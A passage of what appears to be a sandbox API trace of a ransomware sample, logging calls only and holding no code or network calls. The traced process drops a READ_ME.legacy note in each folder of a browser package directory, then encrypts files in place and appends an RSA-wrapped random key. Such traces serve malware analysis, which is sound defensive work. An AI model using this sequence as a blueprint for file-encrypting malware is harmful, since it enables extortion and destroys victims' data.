ftLastAccessTime.dwLowDateTime=0xd111a2b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.463] SetLastError (dwErrCode=0x12) [0161.463] GetLastError () returned 0x12 [0161.463] SetLastError (dwErrCode=0x12) [0161.463] GetLastError () returned 0x12 [0161.463] SetLastError (dwErrCode=0x12) [0161.463] FindNextFileW (in: hFindFile=0x2f612d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed253c3c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed253c3c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.463] FindNextFileW (in: hFindFile=0x2f612d8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed253c3c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed253c3c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.463] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\AC\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x702a7000, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61398 [0161.464] FindNextFileW (in: hFindFile=0x2f61398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x702a7000, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.464] FindNextFileW (in: hFindFile=0x2f61398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x702cd265, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x702cd265, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCache", cAlternateFileName="INETCA~1")) returned 1 [0161.464] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\AC\\INetCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\ac\\inetcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11cc [0161.465] WriteFile (in: hFile=0x11cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.466] CloseHandle (hObject=0x11cc) returned 1 [0161.466] FindNextFileW (in: hFindFile=0x2f61398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x702cd265, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x702cd265, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetCookies", cAlternateFileName="INETCO~1")) returned 1 [0161.467] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\AC\\INetCookies\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\ac\\inetcookies\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11cc [0161.467] WriteFile (in: hFile=0x11cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.468] CloseHandle (hObject=0x11cc) returned 1 [0161.469] FindNextFileW (in: hFindFile=0x2f61398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x702cd265, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x702cd265, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="INetHistory", cAlternateFileName="INETHI~1")) returned 1 [0161.469] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\AC\\INetHistory\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\ac\\inethistory\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11cc [0161.469] WriteFile (in: hFile=0x11cc, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0161.470] CloseHandle (hObject=0x11cc) returned 1 [0161.470] FindNextFileW (in: hFindFile=0x2f61398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xed253c3c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed253c3c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed253c3c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.471] FindNextFileW (in: hFindFile=0x2f61398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x702cd265, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x702cd265, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 1 [0161.471] FindNextFileW (in: hFindFile=0x2f61398, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x702cd265, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x702cd265, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x702cd265, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Temp", cAlternateFileName="")) returned 0 [0161.471] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\AppData\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61498 [0161.471] FindNextFileW (in: hFindFile=0x2f61498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.472] FindNextFileW (in: hFindFile=0x2f61498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed279f71, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed279f71, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.472] FindNextFileW (in: hFindFile=0x2f61498, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed279f71, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed279f71, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.472] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\LocalCache\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61518 [0161.472] FindNextFileW (in: hFindFile=0x2f61518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.472] FindNextFileW (in: hFindFile=0x2f61518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed279f71, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed279f71, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.472] FindNextFileW (in: hFindFile=0x2f61518, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed279f71, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed279f71, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.473] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\LocalState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61858 [0161.473] FindNextFileW (in: hFindFile=0x2f61858, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.473] FindNextFileW (in: hFindFile=0x2f61858, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed279f71, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed279f71, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.473] FindNextFileW (in: hFindFile=0x2f61858, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed279f71, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed279f71, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.473] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\RoamingState\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61558 [0161.473] FindNextFileW (in: hFindFile=0x2f61558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.473] FindNextFileW (in: hFindFile=0x2f61558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed279f71, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed279f71, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.473] FindNextFileW (in: hFindFile=0x2f61558, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed279f71, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed279f71, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0161.473] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\Settings\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x70280da4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x2f61d58 [0161.474] FindNextFileW (in: hFindFile=0x2f61d58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x70280da4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xed279f71, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0161.474] FindNextFileW (in: hFindFile=0x2f61d58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed279f71, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xed279f71, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xed2a0ce4, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0161.474] FindNextFileW (in: hFindFile=0x2f61d58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70280da4, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x70280da4, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x70280da4, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="roaming.lock", cAlternateFileName="ROAMIN~1.LOC")) returned 1 [0161.474] FindNextFileW (in: hFindFile=0x2f61d58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat", cAlternateFileName="")) returned 1 [0161.474] FindNextFileW (in: hFindFile=0x2f61d58, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7025ab41, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0x7025ab41, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x55d5013a, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2000, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="settings.dat", cAlternateFileName="")) returned 0 [0161.474] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0161.474] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3428 | out: pbBuffer=0x5c3428) returned 1 [0161.474] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\Settings\\settings.dat", dwFileAttributes=0x80) returned 1 [0161.475] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\Settings\\settings.dat" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\settings\\settings.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11e0 [0161.475] GetFileSizeEx (in: hFile=0x11e0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=8192) returned 1 [0161.475] ReadFile (in: hFile=0x11e0, lpBuffer=0x2ecd058, nNumberOfBytesToRead=0x2000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ecd058*, lpNumberOfBytesRead=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.493] SetFilePointer (in: hFile=0x11e0, lDistanceToMove=-8192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.494] WriteFile (in: hFile=0x11e0, lpBuffer=0x2ec5038*, nNumberOfBytesToWrite=0x2000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2ec5038*, lpNumberOfBytesWritten=0x2e1f9bc*=0x2000, lpOverlapped=0x0) returned 1 [0161.494] SetFilePointer (in: hFile=0x11e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x2000 [0161.494] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0161.494] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4110*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0161.494] WriteFile (in: hFile=0x11e0, lpBuffer=0x5c4110*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4110*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0161.494] WriteFile (in: hFile=0x11e0, lpBuffer=0x5c3428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0161.494] CloseHandle (hObject=0x11e0) returned 1 [0161.503] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4110 | out: pbBuffer=0x5c4110) returned 1 [0161.503] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3518 | out: pbBuffer=0x5c3518) returned 1 [0161.503] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\Settings\\roaming.lock", dwFileAttributes=0x80) returned 1 [0161.503] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Windows.SecureAssessmentBrowser_cw5n1h2txyewy\\Settings\\roaming.lock" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.windows.secureassessmentbrowser_cw5n1h2txyewy\\settings\\roaming.lock"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11e0 [0161.504] GetFileSizeEx (in: hFile=0x11e0, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=0) returned 1 [0161.504] ReadFile (in: hFile=0x11e0, lpBuffer=0x5c3428, nNumberOfBytesToRead=0x0, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3428*, lpNumberOfBytesRead=0x2e1f9bc*=0x0, lpOverlapped=0x0) returned 1 [0161.504] SetFilePointer (in: hFile=0x11e0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0161.504] WriteFile (in: hFile=0x11e0, lpBuffer=0x5c3448*, 